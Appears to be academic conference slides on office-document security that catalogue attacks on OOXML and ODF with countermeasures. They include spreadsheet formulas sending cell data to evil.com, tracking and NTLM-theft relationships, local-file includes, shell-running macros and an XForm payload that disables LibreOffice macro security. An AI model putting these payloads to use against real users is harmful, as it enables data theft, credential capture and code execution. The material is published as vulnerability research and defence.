Office Document
Security and Privacy

Jens Müller, Fabian Ising, Christian Mainka, Vladislav Mladenov, Sebastian Schinzel, Jörg Schwenk
Overview

1. OOXML/ODF Basics
2. Denial of Service
3. Invasion of Privacy
4. Information Disclosure
5. Data Manipulation
6. Code Execution
7. Evaluation
History: Office Wars

- 1990: MS Office 1.0
- 2002: Star Office → OpenOffice.org
- 2006: OOXML + ODF standardization
- 2010: OpenOffice.org → LibreOffice
Two competing standards

<table>
<thead>
<tr>
<th>OOXML (ISO/IEC 29500)</th>
<th>ODF (ISO/IEC 26300)</th>
</tr>
</thead>
<tbody>
<tr>
<td>Office Open XML</td>
<td>Open Document Format</td>
</tr>
<tr>
<td>6500 pages</td>
<td>800 pages</td>
</tr>
<tr>
<td>(some) MS proprietary formats</td>
<td>re-use of SVG, MathML, XForms, ...</td>
</tr>
<tr>
<td>.docx, .xlsx, .pptx, ...</td>
<td>.odt, .ods, .odp, ...</td>
</tr>
<tr>
<td>XML-based, Zip container</td>
<td>XML-based, Zip container</td>
</tr>
</tbody>
</table>
## OOXML Directory Structure

<table>
<thead>
<tr>
<th>File</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>./[Content_Types].xml</td>
<td>List of all package files</td>
</tr>
<tr>
<td>./docProps/app.xml</td>
<td>Metadata: sections, pages</td>
</tr>
<tr>
<td>./docProps/core.xml</td>
<td>Metadata: author, timestamps</td>
</tr>
<tr>
<td>./_rels/.rels</td>
<td>Relationships within and outside of the package</td>
</tr>
<tr>
<td><strong>./word/document.xml</strong></td>
<td><strong>Document content</strong></td>
</tr>
<tr>
<td>./word/styles.xml</td>
<td>Style of sections, content, etc.</td>
</tr>
<tr>
<td>./word/settings.xml</td>
<td>Application-specific settings</td>
</tr>
<tr>
<td>./word/_rels/document.xml.rels</td>
<td>References to images</td>
</tr>
</tbody>
</table>

Table 2: Directory structure within an OOXML zip container archive.
Listing 1: Minimal OOXML example document (document.xml).
## ODF Directory Structure

<table>
<thead>
<tr>
<th>File</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>./content.xml</td>
<td>Document content</td>
</tr>
<tr>
<td>./manifest.rdf</td>
<td>RDF metadata</td>
</tr>
<tr>
<td>./meta.xml</td>
<td>Metadata: author, timestamps</td>
</tr>
<tr>
<td>./mimetype</td>
<td>MIME type of the document</td>
</tr>
<tr>
<td>./settings.xml</td>
<td>Application-specific settings</td>
</tr>
<tr>
<td>./styles.xml</td>
<td>Style of sections, content, etc.</td>
</tr>
<tr>
<td>./META-INF/manifest.xml</td>
<td>List of all package files</td>
</tr>
<tr>
<td>./Thumbnails/thumbnail.png</td>
<td>Thumbnail image</td>
</tr>
</tbody>
</table>

Table 3: Directory structure within an ODF zip container archive.
<office:document-content>
  <office:body>
    <office:text>
      <text:p>Hello World</text:p>
    </office:text>
  </office:body>
</office:document-content>

Listing 2: Minimal ODF example document (content.xml).
• Victim opens malicious office document
• “Bad things” happen (attack-dependent)
Overview

1. OOXML/ODF Basics
2. Denial of Service
   - Deflate Bomb
3. Invasion of Privacy
4. Information Disclosure
5. Data Manipulation
6. Code Execution
7. Evaluation
<w:document xmlns:w="http://schemas.openxmlformats.org/wordprocessingml/2006/main">
  <w:body>
    <w:p>
      <w:r>
        <w:t>AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA...</w:t>
      </w:r>
    </w:p>
    <w:p>max. compression ratio: 1:1023</w:p>
  </w:body>
</w:document>
1. OOXML/ODF Basics
2. Denial of Service
3. Invasion of Privacy
   ▶ URL Invocation, Evitable Metadata
4. Information Disclosure
5. Data Manipulation
6. Code Execution
7. Evaluation
• Goal: “phone home” to attacker’s server once document is opened
<Relationship Id="evil" Target="http://evil.com/tracking_id/" TargetMode="External"/>

CVE-2020-12802
Listing 3: Minimal ODF document with a tracking pixel of evil.com
The hidden dangers of documents

Dot.life - how technology changes us
By Mark Ward
BBC News Online technology correspondent

Analysis of hidden information in the so-called Iraq "dodgy dossier" showed, among other things, the names four civil servants who worked on it.
# Evitable Metadata

<table>
<thead>
<tr>
<th></th>
<th>Microsoft Office</th>
<th>LibreOffice</th>
</tr>
</thead>
<tbody>
<tr>
<td></td>
<td>OOXML</td>
<td>ODF</td>
</tr>
<tr>
<td>Timestamp</td>
<td>● ● ● ● ●</td>
<td>● ● ● ● ●</td>
</tr>
<tr>
<td>Software Username</td>
<td>● ● ● ● ●</td>
<td>● ● ● ● ●</td>
</tr>
</tbody>
</table>

- ● stored in metadata
- ○ not stored in metadata

Table 5: Comparison of the metadata included by Microsoft Office and LibreOffice when saving or exporting to various file formats.
Overview

1. OOXML/ODF Basics
2. Denial of Service
3. Invasion of Privacy
4. Information Disclosure
   - Data Exfiltration, File Disclosure, Credential Theft
5. Data Manipulation
6. Code Execution
7. Evaluation
Data Exfiltration

• Idea: victim obtains spreadsheet; user input values sent to attacker’s server

=HYPERLINK("http://evil.com/" &A1 &B2, "Click me")

=WEBSERVICE(TEXTJOIN("|", 1, "http://evil.com/", A:Z))
File Disclosure

• Idea: include local files on disk
Listing 6: XML to include image files on disk into ODF document.

```xml
<draw:frame>
  <draw:image xlink:href="file:///path/to/sensitive-pic.jpg"/>
</draw:frame>
```
Listing 7: XML to include arbitrary files on disk into ODF document.
-----BEGIN RSA PRIVATE KEY-----
IrMASsjkKiRxGdgR8p5kZJj0AFgdWYa30T2snIXnN5+/p7j13PSkseUcrAFyokc
V9pgeDfitAbh9ldjxjxRcuQjBfmNVLPF9MFyNOvhrpGNukUh/12oSKO9dFEt
s3SF/2h6Ld5lQrG3gZaBB1aGO+tw3ill1VBy2zGPIDEnuSz6DS3CG/oQ2gLSSLMP4
OVfQ32oaj0496iHRkd1h/7Hho7BNzMYr1GxrYTcE9/Znr6xgeSdNT37CCh8cmP
aEAUgSMTeIMVSpILwkKeNvBURic1EWaqXRgPRIWKv0NyOCs/+jNoFISnV4pu1ROF
92vayHDNSVw9wHcdSQ75XSE4Mswqvw5U1iI7e2ID64uoLqhmldrPcXDJQCliDhb+F
hQhf+wAoLRvMNwwhg+LttL8vXqMDQl3olsWSvWPs6b/MZpB0qwd1bklzA6P+PeAUsfOvTqi9edLOfKqvXqTXEhBP8qC7ZtOKLGnryZb7W04SSVrNtuJUFReLiqu+w/F/


Goal: obtain user’s NTLM hash

```xml
<Relationship Id="x" Target="/evil.com" TargetMode="External"/>
```

```xml
```
Credential Theft

• Offline cracking
  – **NTLMv2**: modern GPU requires 2.5h for eight chars
  – **NTLMv1, LM**: considered broken [*Marlinspike2012*]

• Pass-the-hash or relay attacks
  – Compare [*Ochoa2008, Hummel2009*]
  – Depending on Windows security policy
1. OOXML/ODF Basics
2. Denial of Service
3. Invasion of Privacy
4. Information Disclosure
5. Data Manipulation
   ▸ File Write Access, Content Masking
6. Code Execution
7. Evaluation
• Idea: XForms allow local file as target
Listing 8: XForm which submits data to a file in the home directory.
<w:document>
  <w:body>
    <w:body>
      <w:p>
        <w:r>
          <w:t>This text is shown Microsoft Office.</w:t>
        </w:r>
      </w:p>
    </w:body>
    <w:p>
      <w:r>
        <w:t>This text is shown LibreOffice.</w:t>
      </w:r>
    </w:p>
  </w:body>
</w:document>
## Content Masking: ODF

<table>
<thead>
<tr>
<th>File</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>./content.XML</td>
<td>Parsed by MS Office</td>
</tr>
<tr>
<td>./Content.xml</td>
<td>Parsed by LibreOffice</td>
</tr>
<tr>
<td>./manifest.rdf</td>
<td>RDF metadata</td>
</tr>
<tr>
<td>./meta.xml</td>
<td>Metadata: author, timestamps</td>
</tr>
<tr>
<td>./mimetype</td>
<td>MIME type of the document</td>
</tr>
<tr>
<td>./settings.xml</td>
<td>Application-specific settings</td>
</tr>
<tr>
<td>./styles.xml</td>
<td>Style of sections, content, etc.</td>
</tr>
<tr>
<td>./META-INF/manifest.xml</td>
<td>List of all package files</td>
</tr>
<tr>
<td>./ Thumbnails/thumbnail.png</td>
<td>Thumbnail image</td>
</tr>
</tbody>
</table>
Overview

1. OOXML/ODF Basics
2. Denial of Service
3. Invasion of Privacy
4. Information Disclosure
5. Data Manipulation
6. Code Execution
   ▶ Macros
7. Evaluation
Macros

Sub AutoOpen()
Shell ("[command] [parameters]")
End Sub

Listing 10: Macro to execute shell commands in OOXML documents.

sub Main
  shell "[command] [parameters]"
end sub

Listing 11: Macro to execute shell commands in ODF documents.
Addition Findings

CVE-2018-8161 (memory corruption)
One-Click RCE in LibreOffice

- We can write XML to arbitrary files
- LibreOffice config file itself is XML
One-Click RCE in LibreOffice

Listing 12: XForm data to write to the LibreOffice configuration file, thereby allowing arbitrary macros to be executed in any document.

```xml
<oor:items xmlns:oor="http://openoffice.org/2001/registry">
  <item oor:path="/org.openoffice.Office.Common/Security/Scripting">
    <prop oor:name="MacroSecurityLevel" oor:op="fuse">
      <value>0</value>
    </prop>
  </item>
</oor:items>

CVE-2020-12803

file:///~/.config/libreoffice/4/user/registrymodifications.xcu
1. OOXML/ODF Basics
2. Denial of Service
3. Invasion of Privacy
4. Information Disclosure
5. Data Manipulation
6. Code Execution
7. Evaluation
## Evaluation

<table>
<thead>
<tr>
<th></th>
<th><strong>Microsoft Office</strong></th>
<th><strong>LibreOffice</strong></th>
</tr>
</thead>
<tbody>
<tr>
<td></td>
<td><strong>OOXML</strong></td>
<td><strong>ODF</strong></td>
</tr>
<tr>
<td>Denial of Service</td>
<td>•</td>
<td>•</td>
</tr>
<tr>
<td>URL Invocation</td>
<td>•</td>
<td>•</td>
</tr>
<tr>
<td>Evitable Metadata</td>
<td>•</td>
<td>•</td>
</tr>
<tr>
<td>Data Exfiltration</td>
<td>•</td>
<td>•</td>
</tr>
<tr>
<td>File Disclosure</td>
<td>•</td>
<td>•</td>
</tr>
<tr>
<td>Credential Theft</td>
<td>•</td>
<td>•</td>
</tr>
<tr>
<td>File Write Access</td>
<td>•</td>
<td>•</td>
</tr>
<tr>
<td>Content Masking</td>
<td>•</td>
<td>•</td>
</tr>
<tr>
<td>Code Execution</td>
<td>•</td>
<td>•</td>
</tr>
</tbody>
</table>

- • vulnerable
- • vulnerability limited
- • not vulnerable
Countermeasures

• Removing insecure features
• User privacy by default
• Limitation of resources
• Elimination of ambiguities
• OOXML and ODF are complex formats
• Thorough analysis of dangerous features
• One-click pure logic chain RCE in 2020 ;)

Artifacts: https://github.com/RUB-NDS/Office-Security